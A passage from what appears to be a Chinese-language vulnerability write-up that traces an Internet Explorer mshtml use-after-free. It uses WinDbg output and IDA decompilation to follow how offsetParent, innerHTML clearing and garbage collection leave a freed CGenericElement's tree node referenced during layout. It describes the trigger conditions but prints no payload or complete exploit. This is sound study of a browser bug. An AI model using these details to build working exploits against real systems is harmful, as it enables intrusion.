// CTreeNode::SetLayoutBlockmov ecx, [esi+44h] ; 获取CTreeNode中保存的CTextBlock地址cmp ecx, edijnz loc_71FC6FAB...test ecx, ecxjz short loc_71FC6FB8 ; 如果没有保存任何地址...test edi, edijz loc_720C055Bmov eax, edimov [esi+44h], edi ; 把edi作为CTextBlock的值保存下来call ?CLayoutBlock_AddRef@@YGXPAVCLayoutBlock@@@Z ; CLayoutBlock_AddRef(CLayoutBlock *) ; 这里应该是一个计数器,里面增加了1

所以程序在这里给CTreeNode设置好了CTextBlock的值,在windbg中看一下这里面的内容:
0:005> ddp edi0cef7fa0 71fc6cc8 71fcad5d mshtml!CTextBlock::`vector deleting destructor'0cef7fa4 00000004 // 这里是一个计数器0cef7fa8 0005e4970cef7fac 0bd1afc0 00000051 // f2的CTreePos的地址0cef7fb0 000000000cef7fb4 0d29afc8 71fca570 mshtml!CBlockContainerBlock::`vftable' // 所以这是一个双向链表?0cef7fb8 000000000cef7fbc 0c53ffb0 71f5fa7c mshtml!CTableContainerBlock::`vftable' // 这里分别指向前向和后向?0cef7fc0 000000000cef7fc4 000000000cef7fc8 ffffffff0cef7fcc ffffffff0cef7fd0 0c682f10 030001000cef7fd4 000000000cef7fd8 000000000cef7fdc 000000000cef7fe0 000000000cef7fe4 0d140fb0 0d150fd0 // 很眼熟,看一下前面的图片,这个是CBodyElement的CTreeNode的地址0cef7fe8 0000ffff0cef7fec 71ea9fd0 7206519d mshtml!CFlowLayout::OnTextChange0cef7ff0 000000040cef7ff4 000000040cef7ff8 0cef9fc0 00000805 // 看起来也是一个地址0cef7ffc d0d0d0d0

几个看起来有意义的数据都进行了注释,其中倒数第二个数据看起来也是一个地址,看一下里面是什么内容:
0:005> ddp 0cef9fc00cef9fc0 000008050cef9fc4 000000010cef9fc8 0bd1afc0 00000051 // f2的CTreePos的地址0cef9fcc 0bd1afb0 0d2f7fd8 // f2的CTreeNode的地址0cef9fd0 c0c0c0c00cef9fd4 c0c0c0c0...

也就是说,IE在执行完offsetParent之后进行了一次渲染,为相关元素构造了CTextBlock结构,添加了它的指针。

接下来继续分析,设置完所有这些断点,然后一直执行到垃圾回收之前,看一下和CGenericElement有关的空间情况:
0:005> !heap -p -a 0cec1fb0 address 0cec1fb0 found in _DPH_HEAP_ROOT @ 331000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) ce12514: cec1fb0 4c - cec1000 2000 74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 771402fe ntdll!RtlDebugAllocateHeap+0x00000030 770fac4b ntdll!RtlpAllocateHeap+0x000000c4 770a3b4e ntdll!RtlAllocateHeap+0x0000023a 71fc0ceb mshtml!CMarkup::InsertElementInternal+0x0000022a 71fa1c01 mshtml!CDoc::InsertElement+0x0000008a 71fa1b36 mshtml!InsertDOMNodeHelper+0x000000c2 71fa2222 mshtml!CElement::InsertBeforeHelper+0x000000d1 71fa2148 mshtml!CElement::insertBefore+0x0000003c 71fa20fe mshtml!CElement::appendChild+0x0000003a...
0:005> !heap -p -a 0ce20fc8 address 0ce20fc8 found in _DPH_HEAP_ROOT @ 331000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) ce115b0: ce20fc8 38 - ce20000 2000 mshtml!CGenericElement::`vftable' 74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 771402fe ntdll!RtlDebugAllocateHeap+0x00000030 770fac4b ntdll!RtlpAllocateHeap+0x000000c4 770a3b4e ntdll!RtlAllocateHeap+0x0000023a 71ecc24c mshtml!CGenericElement::CreateElement+0x00000018 71fe4be9 mshtml!CreateElement+0x00000043 7201ca5d mshtml!CMarkup::CreateElement+0x000002e4 71fa1e56 mshtml!CDocument::CreateElementHelper+0x00000052 71fa1dcf mshtml!CDocument::createElement+0x00000021...

也就是说,直到执行CollectGarbage函数之前,这两块堆空间还是正常的占用状态。接下来F5继续执行,程序直接到达异常:
0:005> g(a8c.4a8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=723d5100 ebx=0cec1fb0 ecx=0ce20fc8 edx=00000000 esi=0849ebc8 edi=00000000eip=7205c400 esp=0849eb9c ebp=0849ebb4 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246mshtml!CElement::Doc:7205c400 8b01 mov eax,dword ptr [ecx] ds:002b:0ce20fc8=????????

目前我们已经对分配的堆块空间有了一定了解,可以发现0ce20fc8就是CGenericElement的CElement的地址。
 
可以向上翻一下3.2小节的内容,那时我们就已经得出了异常出现是因为垃圾回收已经释放了一个叫做CGenericElement的元素的空间,而后面又对这个空间进行了引用。但是当时虽然发现了这一点,由于对内部机制完全不了解,所以毫无头绪。
 
现在我们看一下函数调用情况:
0:005> kbChildEBP RetAddr Args to Child 0849eb98 72085961 0849eee4 0cec1fb0 00000000 mshtml!CElement::Doc0849ebb4 7208586d 0cec1fb0 0849eee4 0cec1fb0 mshtml!CTreeNode::ComputeFormats+0xba0849ee60 7208a12d 0cec1fb0 0cec1fb0 0849ee80 mshtml!CTreeNode::ComputeFormatsHelper+0x440849ee70 7208a0ed 0cec1fb0 0cec1fb0 0849ee90 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x110849ee80 7208a0d4 0cec1fb0 0cec1fb0 0849ee9c mshtml!CTreeNode::GetFancyFormatHelper+0xf0849ee90 71f0b9c4 0cec1fb0 0849eeac 71f0ba2c mshtml!CTreeNode::GetFancyFormat+0x350849ee9c 71f0ba2c 00000000 0cec1fb0 0849eebc mshtml!ISpanQualifier::GetFancyFormat+0x5a0849eeac 71f7c009 00000000 0d208fa0 0849eef4 mshtml!SLayoutRun::HasInlineMbp+0x100849eebc 71f8b4e5 00000000 00000000 0d208fa0 mshtml!SRunPointer::HasInlineMbp+0x560849eef4 71f8b575 0849ef13 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf20849ef2c 721544f0 0849ef97 0849efab 0cb42ff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f0849ef78 71f68c83 0cb7afc8 0cb42f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x2500849efb0 71f69af4 0cb42f30 00000000 0d262fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10849f074 71f6a4f5 01b42f30 0c16afa8 0849f09b mshtml!CCssDocumentLayout::GetPage+0x22a0849f1e4 7208cc48 0849f3a8 0849f340 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x2470849f31c 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b80849f418 71fcaa21 00100000 0849f470 0cee8fd8 mshtml!CLayout::DoLayout+0x11d0849f42c 72067515 0849f470 0849f470 7208c20c mshtml!CCssPageLayout::Notify+0x140...

有一个地址看起来特别眼熟:0cec1fb0,这是CGenericElement的TreeNode的地址从函数调用情况中,可以找到最早引用0cec1fb0这个地址的是mshtml!ISpanQualifier::GetFancyFormat+0x5a函数,在3.4.3小节最后推出的结论部分,我们曾经提到过Fancy Format这个东西,它位于CTreeNode+0xC这个DWORD的16-31位。

3.4.5 追踪Fancy Format


接下来在IDA中跟踪一下ISpanQualifier::GetFancyFormat这个函数的调用流程,不想截太多的图,这里只贴出关键的代码:
// SRunPointer::SpanQualifierv1 = *(_DWORD **)(a1 + 4); // v1是由[a1+4]获得的if ( v1 == (_DWORD *)1 || v1 == (_DWORD *)3 ) return 1;if ( (*v1 & 7) == 1 ) return 0;return v1[3]; // 注意就是返回的这个值// SRunPointer::HasInlineMbpcall ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void) // 所以eax是这个函数的返回值call ?HasInlineMbp@SLayoutRun@@SG_NPAVISpanQualifier@@_N@Z ; SLayoutRun::HasInlineMbp(ISpanQualifier *,bool)// SLayoutRun::HasInlineMbp@<al>(CTreeNode *a1@<eax>,...v5 = ISpanQualifier::GetFancyFormat(a2, a1, (bool)a3); // 这里a1是我们要追踪的TreeNode,它是通过eax传递的 // --> 从这里分别向上和向下看 // ISpanQualifier::GetFancyFormatif ( ISpanQualifier::IsTreeNodeQualifier(this) ) return CTreeNode::GetFancyFormat(a2); // a2是CTreeNode指针// CTreeNode::GetFancyFormatv1 = *((_WORD *)this + 7); // 这里要注意,获取的是CTreeNode偏移0xE位置的值,就是Fancy Format的值,要<0才会继续按照调用流程执行if ( v1 < 0 ) result = CTreeNode::GetFancyFormatHelper(this);// CTreeNode::GetFancyFormatHelperv1 = CTreeNode::GetFancyFormatIndexHelper(this);// CTreeNode::GetFancyFormatIndexHelperCTreeNode::ComputeFormatsHelper(this);return *((__int16 *)this + 7); // 这里就要返回了,返回前先调用了上面那个函数// CTreeNode::ComputeFormatsHelperCFormatInfo::CFormatInfo(this);CTreeNode::ComputeFormats(pCTreeNode, this); // 异常是发生在这个函数调用的时候CFormatInfo::Cleanup(pCFormatInfo_1);CFormatInfo::~CFormatInfo(pCFormatInfo_2);// CTreeNode::ComputeFormatsif ( (*((_BYTE *)a2 + 9) & 0x10) != 0 ) { // 这里判断了CTreeNode+0x9处字节的最高位是不是1,如果不是1才会转到else // 该处数据猜测与元素类型有关 ...} else { v6 = CElement::Doc(*(CElement **)a2); // a2就是函数调用传入的第二个参数,CTreeNode指针 // 注意这里的操作就是在试图获取CTreeNode中保存的CElement...

检查上面ISpanQualifier::GetFancyFormat的调用流程:
 
根据下半部分GetFancyFormat调用函数的情况会发现,只有Fancy Format的值小于0,函数才会继续深入,进一步调用ComputeFormats函数,而如果Fancy Format的值不符合要求,函数是不会对这个元素进行处理的。而在设置完offsetParent之后,Fancy Format的值就变了,不再小于0。
 
因此在开始设置innerHTML之前,即程序刚刚进入CElement::put_innerHTML函数之后,在Fancy Format所在的位置,即0cec1fbc这里设置一个读断点,程序执行后断在这里:
0:005> ba r4 0cec1fbc0:005> gBreakpoint 5 hiteax=00000001 ebx=00000000 ecx=00000031 edx=00000002 esi=0cec1fb0 edi=0ab92d58eip=72068337 esp=0849ea9c ebp=0849ec08 iopl=0 nv up ei ng nz na po cycs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000283mshtml!CTreeNode::VoidCachedNodeInfo+0x16:72068337 83cbff or ebx,0FFFFFFFFh

此时的函数调用情况:
0:005> kbChildEBP RetAddr Args to Child 0849eaa0 720c058a 0ce20fc8 0cec1fb0 00000e20 mshtml!CTreeNode::VoidCachedNodeInfo+0x160849eab0 71fa0d2a 00000e20 71fa65df 0c6e0f30 mshtml!CTreeNode::PrivateMakeDead+0x4b0849eab8 71fa65df 0c6e0f30 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0xa0849ec08 71fa5b42 0849ed2c 720e72d6 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x8120849ece8 71fa6ff9 0849ed20 0849ed2c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x830849ed38 71fa6f39 0849eee0 0849ef1c 00000001 mshtml!CDoc::CutCopyMove+0xca0849ed54 71fa6f17 0849eee0 0849ef1c 00000000 mshtml!CDoc::Remove+0x180849ed6c 71fa7aef 0849ef1c 085d074c 720591b8 mshtml!RemoveWithBreakOnEmpty+0x3a0849ee68 71fa793e 0849eee0 0849ef1c 0849ee90 mshtml!InjectHtmlStream+0x1910849eea4 71fa71fa 0849eee0 0849ef1c 00000000 mshtml!HandleHTMLInjection+0x5c0849ef5c 71fa704a 00000000 00000001 085d074c mshtml!CElement::InjectInternal+0x3070849ef78 71fa988c 0d2f7fd8 00000000 00000001 mshtml!CElement::InjectCompatBSTR+0x460849ef98 720e72d6 002f7fd8 085d074c 085dcfd0 mshtml!CElement::put_innerHTML+0x40...

我们在IDA中看一下这个函数的代码:
void __usercall CTreeNode::VoidCachedNodeInfo(__int16 *tree_node@<esi>){ // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] TlsGetValue(g_dwTls); char_format = tree_node[6]; if ( char_format != -1 ) // 由于之前设置了offsetParent,此时Char Format的值不是-1 { CDataCacheBase::ReleaseData(v1, char_format); tree_node[6] = -1; CDataCacheBase::ReleaseData(v3, tree_node[5]); tree_node[5] = -1; } fancy_format = tree_node[7]; if ( fancy_format != -1 ) { CDataCacheBase::ReleaseData(v1, fancy_format); tree_node[7] = -1; }}

可以看到执行完这个函数,Char Format和Fancy Format又设置成了-1。但是此时CElement中仍旧保存着CTreeNode的值:
0:005> dd 0ce20fc8 la0ce20fc8 71ecc2e8 00000002 00000008 0bfd2fe80ce20fd8 085b2e60 0cec1fb0 80000075 880102000ce20fe8 00000006 0c6e0f30

在这个位置上也设置一个读断点,然后继续执行:
0:005> ba r4 0ce20fdc0:005> gBreakpoint 6 hiteax=0ce20fc8 ebx=00000000 ecx=00000e20 edx=0cec1fb0 esi=00000000 edi=0ce20fc8eip=71fa65f5 esp=0849eac0 ebp=0849ec08 iopl=0 nv up ei ng nz na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286mshtml!CSpliceTreeEngine::RemoveSplice+0x828:71fa65f5 e8fba91100 call mshtml!CElement::DelMarkupPtr (720c0ff5)

也就是说在设置innerHTML为空的时候,通过CElement::DelMarkupPtr,删除了CElement中对于CTreeNode的引用。

上半部分显示了CTreeNode是怎样传入这个函数的,最终追踪到了SRunPointer::SpanQualifier函数,再往前由于缺少函数调用流程,不知道该检查哪个函数。
 
所以现在需要确定SRunPointer::SpanQualifier函数中的a1是什么东西。
 
要在SRunPointer::SpanQualifier这个函数上设置一个断点,为了确保代码能够执行到这个函数中最后的return v1[3];返回语句,需要设置条件断点
bu SRunPointer::SpanQualifier "j ((poi(@eax+4)=1) OR (poi(@eax+4)=3)) 'g' ; 'dd eax;g'"

使用这个条件断点执行到异常发生会输出一长串信息,因为断点命中了很多次,只取最后一次的输出:
0849eee4 0d208fa0 0d5dcfd0 00000000 0cb7afc80849eef4 0849ef2c 71f8b575 0849ef13 000000000849ef04 00000000 0849f038 71faa6f9 0000ef240849ef14 00000000 00000031 0849ef93 72066e6a0849ef24 0849ef78 71f6794c 0849ef78 721544f00849ef34 0849ef97 0849efab 0cb42ff0 0849f0680849ef44 00000002 0d140fd8 00000000 0849efab0849ef54 0cb7af00 0849f001 0bd1afd8 00000000

仔细检查一下相关的地址:
0:005> ddp 0849eee40849eee4 0d208fa0 71fc6cc8 mshtml!CTextBlock::`vftable'0849eee8 0d5dcfd0 000008050849eeec 000000000849eef0 0cb7afc8 71fca570 mshtml!CBlockContainerBlock::`vftable'0849eef4 0849ef2c 0849ef780849eef8 71f8b575 13245c380849eefc 0849ef13 00000000...0:005> ddp 0d5dcfd00d5dcfd0 000008050d5dcfd4 000000020d5dcfd8 0cec1fc0 00000071 // 这个地址是保存在CTreeNode中的CTreePos的地址0d5dcfdc 0cec1fb0 0ce20fc8 // 这个地址就是CGenericElement的CTreeNode的地址0d5dcfe0 000008060d5dcfe4 000000030d5dcfe8 0cec1fd8 000001520d5dcfec 0cec1fb0 0ce20fc80d5dcff0 000008060d5dcff4 000000040d5dcff8 0bd1afd8 000000520d5dcffc 0bd1afb0 0d2f7fd8...

根据上面的输出结果,我们知道SRunPointer::SpanQualifier函数中的a1指向的是一个CTextBlock,[a1+4]指向的是一个列表,上面的第二个输出,可以看出每16个字节是列表中的一项,每项中又包含四个不同的数据,其中第三个数据是CTreePos的地址,第四个数据是CTreeNode的地址。函数返回的就是这个CTreeNode的地址。
 
所以这个结构有没有很熟悉,和我们在3.4.4中分析CTextBlock的时候,遇到的倒数第二个数据指向的位置结构相同。这里为了方便,沿用《漏洞战争》使用的名称,把这块数据叫做element_array。

3.5 对比调试


上面的调试分析更多的是让自己对和此次漏洞有关的数据结构有所了解,同时也初步确定了poc代码中一些元素的作用,但是可能还有一些作用不太清晰。接下来会通过修改Poc代码,删除对应元素的方式,确定各元素对于最终异常的产生有什么印象。

3.5.1 没有hr元素


经过调试发现,一直到执行完垃圾回收,CTreeBlock处仍旧包含已经释放的CGenericElement元素的CTreeNode。因此问题应该出在脚本执行结束后的渲染部分,它可能没有遍历CTreeBlock。
 
为了验证这一点,在element_array所在的位置设置一个读写断点,执行后发现,程序中断的位置的函数调用流程为:
0:005> kbChildEBP RetAddr Args to Child 085eebf8 71fc8bff 00000000 00000010 0bdcefa0 mshtml!SLayoutRun::SetSpanQualifier+0x29085eec14 71fcadb6 0bdcefa0 0bdcefa0 0d2c296c mshtml!SLayoutRun::Clear+0xd4085eec28 71fcad6b 00000001 0cb5ffd8 085eec4c mshtml!CTextBlock::~CTextBlock+0x2a085eec38 71fcae15 00000001 07f09c00 0c045790 mshtml!CTextBlock::`scalar deleting destructor'+0xe085eec4c 71fc7836 0bfd3fe8 0cb5ffd8 07f0a0f0 mshtml!CPtsClient::DestroyParaclient+0x53085eec68 71fc7b68 07f09c00 0d2c2978 00000000 mshtml!Ptls5::FsDestroyParaFormatResult+0x4f...085ef098 71f69e2c 07f09c00 0ce32600 0b92df30 mshtml!Ptls5::FsUpdateBottomlessPage+0x71085ef13c 71f6a4f5 0092df30 0a651fa8 085ef163 mshtml!CCssDocumentLayout::GetPage+0x599085ef2ac 7208cc48 085ef470 085ef408 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247085ef3e4 720bce63 0a651fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8085ef4e0 71fcaa21 00100000 085ef538 0c535fd8 mshtml!CLayout::DoLayout+0x11d085ef4f4 72067515 085ef538 085ef538 7208c20c mshtml!CCssPageLayout::Notify+0x140

注意在CCssDocumentLayout::GetPage的调用中,程序没有像发生异常那样调用CLayoutBlock::BuildBlock,而是调用了Ptls5::FsUpdateBottomlessPage,并且最终调用了CTextBlock的析构函数,在执行完析构函数之后,CGenericElment所在的CTextBlock的空间就释放了:
0:005> gueax=0bdcefb8 ebx=0d2c296c ecx=00000000 edx=00441078 esi=0bdcefa0 edi=0bdcefa0eip=71fcad6b esp=085eec34 ebp=085eec38 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246mshtml!CTextBlock::`scalar deleting destructor'+0xe:71fcad6b f6450801 test byte ptr [ebp+8],1 ss:002b:085eec40=010:005> !heap -p -a 0bdd0fc0 address 0bdd0fc0 found in _DPH_HEAP_ROOT @ 441000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) c443e04: bdd0000 2000 746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77140acc ntdll!RtlDebugFreeHeap+0x0000002f 770fa967 ntdll!RtlpFreeHeap+0x0000005d 770a32f2 ntdll!RtlFreeHeap+0x00000142 74eb14d1 kernel32!HeapFree+0x00000014 72063843 mshtml!CImplAry::DeleteAll+0x00000017 71fcad6b mshtml!CTextBlock::`scalar deleting destructor'+0x0000000e 71fcae15 mshtml!CPtsClient::DestroyParaclient+0x00000053 71fc7836 mshtml!Ptls5::FsDestroyParaFormatResult+0x0000004f...


3.5.2 没有offsetParent


没有了设置offsetParent的语句,程序直接到达设置innerHTML的部分,此时查看CGenericElement的CTreeNode:
0:005> dd 0bef7fb0 l130bef7fb0 0c497fc8 0c2a2fb0 ffff0275 ffffffff0bef7fc0 00000061 00000000 0bef7fd8 0c2a2fc00bef7fd0 0c2a2fc0 0bef7fd8 00000062 000000000bef7fe0 0c2a2fd8 0bef7fc0 0bef7fc0 0c2a2fd80bef7ff0 00000008 00000000 00000000

可以看到Char Format和Fancy Format的位置是-1,而如果有设置offsetParent的操作,这时这里应该不是-1。除此之外,CTextBlock的部分也是空的。这点之前也提到了,设置offsetParent会让IE重新对DOM树进行渲染,并构造相关的CTextBlock结构。
 
但是继续往下执行,我发现CTreeNode这里的空间直接被释放了???在IDA中仔细检查相关代码,在3.4.5追踪Fancy Format的时候,贴过函数调用流程,CTreeNode::VoidCachedNodeInfo查看了Char Format的数值,向前回溯,到达CTreeNode::PrivateExitTree函数:
void __usercall CTreeNode::PrivateExitTree(CTreeNode *this@<ecx>, int a2@<esi>){ CTreeNode *v2; // ecx CTreeNode::PrivateMakeDead(this); if ( (*(_BYTE *)(a2 + 0x40) & 2) == 0 ) CTreeNode::Release(v2);}

有一个if语句,如果通过,会调用CTreeNode::Release函数:
mov ecx, [edx+40h]mov eax, ecxshr eax, 3and ecx, 7lea eax, [eax*8-8]or eax, ecxmov [edx+40h], eaxtest eax, 0FFFFFFF8hjnz short loc_720AE593 // 如果不跳转,就会执行HeapFree函数push edx ; lpMempush 0 ; dwFlagspush _g_hProcessHeap ; hHeapcall ds:__imp__HeapFree@12 ; HeapFree(x,x,x)xor eax, eaxretn

这个if语句检查的是CTreeNode的倒数第三个DWORD,在此例中,即数值为0x08的字节。如果你查看一下之前的贴图,发生异常的情况下,这里的数值是0x18。
 
这里做个计算:
mov ecx, [edx+40h] // ecx <- 1000bmov eax, ecxshr eax, 3 // eax <- 1and ecx, 7 // ecx <- 1000b & 111b = 0lea eax, [eax*8-8] // eax <- 1*8-8 = 0or eax, ecx // eax <- 0mov [edx+40h], eaxtest eax, 0FFFFFFF8h // 0 不跳转----------------------------------------------mov ecx, [edx+40h] // ecx <- 11000bmov eax, ecx shr eax, 3 // eax <- 11band ecx, 7 // ecx <- 11000b & 111b = 0lea eax, [eax*8-8] // eax <- 3*8-8 = 16 = 10000bor eax, ecx // eax <- 10000bmov [edx+40h], eaxtest eax, 0FFFFFFF8h // !=0 跳转

如上,可以看到两种情况的走向完全不同。
 
这个字节的数值在之前分析offsetParent的时候并没有注意,所以这次要在此调试一下,在这里设置一个读写断点,看看设置offsetParent是在什么时候对这个字节进行了修改,这个字节又有什么意义。
0:005> ba r4 0cec1ff00:005> bl 0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g" 1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g" 2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g" 3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper 4 e 0cec1ff0 r 4 0001 (0001) 0:****

继续执行,会先到达CElement::ComputeFormats,没有重要操作,继续执行,到达这里:
0:005> gBreakpoint 4 hiteax=00000008 ebx=0849e6fc ecx=0cec1fb0 edx=00000000 esi=0849d018 edi=0849d018eip=720ae54b esp=0849cf74 ebp=0849cfc4 iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202mshtml!CTreeNode::AddRef+0x3:720ae54b 8bd0 mov edx,eax0:005> kbChildEBP RetAddr Args to Child 0849cf70 71f10fc0 00000000 0849d018 0849e6fc mshtml!CTreeNode::AddRef+0x30849cfc4 71f1129a 0aeadfa0 0cec1fb0 0849cffc mshtml!CTextBlock::ComputeSpanBeginQualifier+0x2890849cfe8 71f8c4f7 0aeadfa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0xa10849e704 71f8b667 0aeadfa0 0d188f30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb0849e748 71f68f0a 0d188f30 0d140fd8 0c0e9fc8 mshtml!CLayoutBlock::BuildBlock+0x1ec0849e7c8 71f68c83 0c0e9fc8 0d188f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e800 71f68f0a 0d188f30 0cf00fd8 0c0e7fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10849e880 71f68c83 0c0e7fc8 0d188f30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e8b8 71f68f0a 0d188f30 0cbddfd8 0ced9fc8 mshtml!CLayoutBlock::BuildBlock+0x1c10849e938 71f68c83 0ced9fc8 0d188f30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d0849e970 71f69af4 0d188f30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c10849ea34 71f6a4f5 01188f30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x2470849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b80849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x1400849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x410849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x630849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b70849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x920849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd60849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x600849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30

上面的函数调用流程和3.4.4小节中,在CTreeNode中的CTextBlock指针那里设置断点时得到的函数调用流程十分接近,在IDA中查看,这个操作就在设置CTextBlock指针操作的后面几步。
 
再看一下这个函数的代码:
int __thiscall CTreeNode::AddRef(CTreeNode *__hidden this)?AddRef@CTreeNode@@QAEJXZ proc nearmov eax, [ecx+40h]mov edx, eaxand edx, 0FFFFFFF8hand eax, 7add edx, 8xor edx, eaxmov [ecx+40h], edxxor eax, eaxretn

和上面的CTreeNode::Release函数中的计算看起来很相似,如果你仔细观察一下它的计算的话,其实CTreeNode::Release函数是在做一个-8操作,而CTreeNode::AddRef是在做一个+8操作。
 
所以CTreeNode的倒数第三个DWORD应该是这个CTreeNode的引用计数,默认有一个引用,指CElement中存储的那个CTreeNode指针,之后每增加一次引用,数值增加8,如果计数到达0,就会对这个空间进行释放。
 
鉴于执行完f0.offsetParent=null;之后,CGenericElement这个计数值从0x8变成了0x18,所以应该是增加了两个引用。
 
我猜测这里引用的增加和element_array有关(不一定正确)。因为:
 
目前程序断在了CTreeNode::AddRef,步进执行完这个函数,引用增加一次,数值增加8,此时数值是0x10。如果这个时候检查element_array中的内容:
0:005> dd 0cec1fb0 l130cec1fb0 0ce20fc8 0bd1afb0 00020275 000000010cec1fc0 00000161 00000003 0bd1afc0 0cb8dfc00cec1fd0 0bd1afc0 0cec1fd8 00000052 000000000cec1fe0 00000000 0cf00fd8 0cec1fc0 0bd1afd80cec1ff0 00000010 0aeadfa0 000000000:005> dd 0aeadfa0+58 l10aeadff8 0d51afc00:005> dd 0d51afc00d51afc0 00000805 00000001 0bd1afc0 0bd1afb00d51afd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c00d51afe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c00d51aff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c00d51b000 ???????? ???????? ???????? ????????0d51b010 ???????? ???????? ???????? ????????0d51b020 ???????? ???????? ???????? ????????0d51b030 ???????? ???????? ???????? ????????

如果继续F5执行,程序还会断在这里,执行完这个函数,再次查看element_array:
0:005> dd 0d51afc00d51afc0 00000805 00000001 0bd1afc0 0bd1afb00d51afd0 00000005 00000002 0cec1fc0 000000000d51afe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c00d51aff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c00d51b000 ???????? ???????? ???????? ????????0d51b010 ???????? ???????? ???????? ????????0d51b020 ???????? ???????? ???????? ????????0d51b030 ???????? ???????? ???????? ????????

所以到这里就可以得出结论了,设置offsetParent的操作让IE对DOM树进行了渲染,形成CTextBlock,并在CTreeNode中添加其地址,增加CTreeNode的引用数。而清空innerHTML的时候,对于CTextBlock的操作存在问题,并没有清除element_array中的内容,引用数只减少了一个数值,导致对应的CTreeNode的空间没有被释放。

3.5.3 没有table元素


删除了f1.appendChild(document.createElement('table'));这句代码之后,设置好断点,然后让程序一直执行到达CElement::put_innerHTML函数,观察此时和CGenericElment有关的数据,会发现element_array中的数据变化很明显:
// element_array0:005> dd 0d0f4f70 l240d0f4f70 00000805 00000001 0bf4bfc0 0bf4bfb0 f0 begintreepos0d0f4f80 00000806 00000002 0bf4bfd8 0bf4bfb0 f0 endtreepos0d0f4f90 00000805 00000003 0cee7fc0 0cee7fb0 f1 begintreepos0d0f4fa0 00000806 00000004 0cee7fd8 0cee7fb0 f1 endtreepos0d0f4fb0 00000805 00000005 0d156fc0 0d156fb0 f2 begintreepos0d0f4fc0 00000805 00000006 07a5ffc0 07a5ffb0 CGenericElement begintreepos0d0f4fd0 00000802 00000007 07a5ffd8 00000000 CGenericElement endtreepos0d0f4fe0 00000806 00000008 07a5ffd8 07a5ffb0 CGenericElement endtreepos0d0f4ff0 00000806 00000009 0d156fd8 0d156fb0 f2 endtreepos

原本在存在table元素的时候,这里面应该只有四组数据,包含f2和CGenericElement。
 
现在还不知道这种变化有什么影响,继续向下执行,会发现直到垃圾回收之前,数据都没有什么太大的变化。垃圾回收之后,也之后CElement的空间被释放了,CTreeNode的空间仍旧存在,那么问题应该处在脚本执行之后的渲染阶段。
 
我在element_array中,CGenericElement所在的位置设置了一个读写断点,然后继续执行:
